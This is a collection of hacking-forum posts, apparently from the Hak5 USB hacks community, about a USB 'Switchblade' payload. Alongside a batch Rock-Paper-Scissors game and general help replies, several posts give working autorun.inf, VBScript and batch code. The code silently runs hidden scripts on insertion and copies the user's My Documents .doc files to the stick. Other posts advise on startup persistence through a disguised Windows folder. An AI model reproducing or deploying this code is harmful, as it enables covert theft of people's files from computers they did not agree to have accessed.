GonZor

We have finally finished our new website http://gonzor228.com. It’s been a long time since we have released anything, but in the interim period we came up with ideas on how to build the next version of the payload to better suit everyone’s needs. We think we’ll have at least a surprise or two for everyone in the next version. Keep an eye on the site for more information, we have also expanded upon the site so if you need help it should be easier to find.

I did a search for this thread http://forums.hak5.org/index.php/topic,7897.0.html (and any others about about "f open")

"f open" (without the space) triggers this error.

can you explain how ?? u mean to start it manually instead of starting it with startup ? I also found out when i restart my computer then inserting the usb it dumps it to: C:Documents and Settings"USER NAME" instead of copying it to C:WINDOWS$NtUninstallKB931337$ and this only happens after i restart the computer .... How can i solve this problem ? Thank you. As I said it dumps it to the working directory (which in this case would be C:Documents and Settings"USER NAME"). Instead of copying sbs.exe to the start up folder create a shortcut to sbs.exe in the start-up folder.

The problem is sbs.exe copies the files over to its working directory then looks for send.bat in the same directory. try starting it with a .lnk and it should solve your problem (that's how i fixed it for my payload).

@Volsfan91 The VBScript you have there was written by me, the problem you have is you are using scripts that weren't made for what you want to do, you simply need the following three scripts, rather than five. Autorun.inf - Placed on the root of the U3 partition. Autorun.vbs - Placed on the root of the U3 partition. Slurp.bat - Placed on the root of the flash partition. [autorun] open=wscript .autorun.vbs Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives For Each objDrive in colDrives If objFSO.FileExists(objDrive.DriveLetter & ":slurp.bat") Then strPath = objDrive.Driveletter & ":slurp.bat " & objDrive.Driveletter objShell.Run strPath , 0, False End If Next Set objFSO = Nothing Set objShell = Nothing Set colDrives = Nothing @echo off mkdir %1:%computername% xcopy "%userprofile%My Documents*.doc" %1:%computername% /s /c /q /r /h

Done, after *SEVERAL* attempts of entering the password :(

Cheers, most people hate the way I write my code...

If he did use universal customizer, which I'm going to assume he did, then there is a backup made for him. Try looking in your my documents folder for a backup, its password will be the password you entered during universal customizer install. If not try booting UBCD4win and use some of their file access programs, I've found them quite useful before.

That's what someone told me. Is that true? If so, that's your answer. In short yes it is possible to do it that way, but you would be over complicating things.

QFE You will find that people around here are more than willing to help if they can understand what you are trying to say, if English isnt your first language then slow down your thoughts and double check what you write to see if it makes sense.

Easiest way to do it is a quick vbs Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives On Error Resume Next 'Detect which drive the payload is on For Each objDrive in colDrives 'ignore floppy drives - reserved by BIOS if they don't exist If UCase(objDrive.DriveLetter) <> "A" And UCase(objDrive.DriveLetter) <> "B" Then 'Search for Start.bat in the root of each drive If objFSO.FileExists(objDrive.DriveLetter & ":start.bat") Then 'Set strFD to the location of start.bat strFD = objDrive.Driveletter & ":start.bat" End If End if Next 'Run Payload objShell.Run strFD, 0, False 'Run Launchpad objShell.Run ".LaunchU3.exe -a", 0, False You will probably need to customize this a bit because I dont know the structure of your payload but thats the basic structure of what you will need. Obviously if you dont have the launchpad as part of your switchblade you would remove the line that starts it.

Dam, its much prettier! Nice work! One question, where's the cheat? :P

Ever wondered if you could make a Rock, Paper, Scissors game in Batch? Well, its possible... Ok, After a suggestion by my girl I made this, it isn't the best code. It's five minutes of work but I thought I'd share my pointless exercise with the community. Enjoy I hope you have hours of fun playing! @ECHO off set wins=0 set loss=0 set draws=0 :start CLS ECHO. ECHO. ECHO ------------------------------------------------------------------------------- ECHO. ECHO Rock, Paper, Scissors ECHO By GonZor ECHO ------------------------------------------------------------------------------- ECHO Wins: %wins% Losses: %loss% Draws: %draws% ECHO ------------------------------------------------------------------------------- ECHO. SET choice= SET RndNum=%time:~10,1% IF '%RndNum%' == '0' SET comp=1 IF '%RndNum%' == '1' SET comp=2 IF '%RndNum%' == '2' SET comp=3 IF '%RndNum%' == '3' SET comp=1 IF '%RndNum%' == '4' SET comp=2 IF '%RndNum%' == '5' SET comp=3 IF '%RndNum%' == '6' SET comp=1 IF '%RndNum%' == '7' SET comp=2 IF '%RndNum%' == '8' SET comp=3 IF '%RndNum%' == '9' SET comp=1 ECHO 1. Rock ECHO 2. Paper ECHO 3. Scissors ECHO. SET /p choice="startect Rock, Paper or Scissors: " IF '%choice%' == '1' GOTO rock IF '%choice%' == '2' GOTO paper IF '%choice%' == '3' GOTO scissors IF '%choice%' == '666' ( GOTO cool ) ELSE ( GOTO start ) :rock IF '%comp%' == '1' GOTO draw IF '%comp%' == '2' GOTO lose GOTO win :paper IF '%comp%' == '2' GOTO draw IF '%comp%' == '3' GOTO lose GOTO win :scissors IF '%comp%' == '3' GOTO draw IF '%comp%' == '1' GOTO lose GOTO win :lose SET /a loss=%loss% + 1 CLS ECHO. ECHO. ECHO ------------------------------------------------------------------------------- ECHO. ECHO YOU LOSE! ECHO. ECHO ------------------------------------------------------------------------------- PAUSE GOTO start :win SET /a wins=%wins% + 1 CLS ECHO. ECHO. ECHO ------------------------------------------------------------------------------- ECHO. ECHO YOU WIN! ECHO. ECHO ------------------------------------------------------------------------------- PAUSE GOTO start :draw SET /a draws=%draws% + 1 CLS ECHO. ECHO. ECHO ------------------------------------------------------------------------------- ECHO. ECHO DRAW! ECHO. ECHO ------------------------------------------------------------------------------- PAUSE GOTO start :cool SET /a wins=%wins% + 666 CLS ECHO. ECHO. ECHO ------------------------------------------------------------------------------- ECHO. ECHO YOU'RE AWESOME!! ECHO. ECHO ------------------------------------------------------------------------------- PAUSE GOTO start [me=GonZor]got bored :-([/me] And about the '666', she wanted a cheat :P EDIT - Just added a wins/losses/draws summary. Thanks to Marcs request.

The logs aren't stored on the CDFS partition. They are stored on the writeable partition.

In start.bat you are missing the destination, it should look more like this XCOPY [source] [destination] (arguments) If you need a better explanation open a command prompt and type XCOPY /?

Dam right that's highly opinionated :P VB ain't that useless if you know how to use it properly, I admit its not the most powerful language but its a useful language for shitting out small apps you may only use a few times, considering it takes almost no time to make them.

This has happened a couple of times to me since you changed the CSS, refreshing the page brings it back to normal. http://arch.kimag.es/share/13427459.png[/img] It happens at random times but I've only ever seen it in Firefox, probably because I use Firefox 90% of the time. Apart from the browser I cant think of anything in common when it happens.

Firstly nice work on modifying the payload, Secondly the way I see the USB Hacks section is a community project where people build upon others ideas to create something bigger and better. I doubt anyone would object to you rewriting the batchfiles in vbs. Once your done let me know and with your approval it may make its way into the payload, Also if you get stuck I can help.

I get the feeling you don't know much about metatron... Run while you still have legs :shock:

It took him 2 months to achieve what you did in 1 year, how long until you match his karma rating? :P

Moonlit was right, I should've explained why I changed to that but I figured most people would understand. I'd still like to know why VB didn't like that code?

*Backup. Reinstall. Reinstall. Reinstall. Send for Ubutnu disk, fdisk. :P DBAN Drive, install favorite Linux distro :D yes becasue if you dont erase and write to the entire disk many many times the virus will still infect your computer Especially when your using a completely different operating system.

How did VB not like that? What was the error? When asking for help you have to remember we only know what you tell us, so the more information you give the easier it is for us to help you.

Boot into safe mode. Boot <insert favourite live CD> and delete it from there. If you dont have a favourite live CD I'd suggest you get a copy of Ubuntu, Its very useful.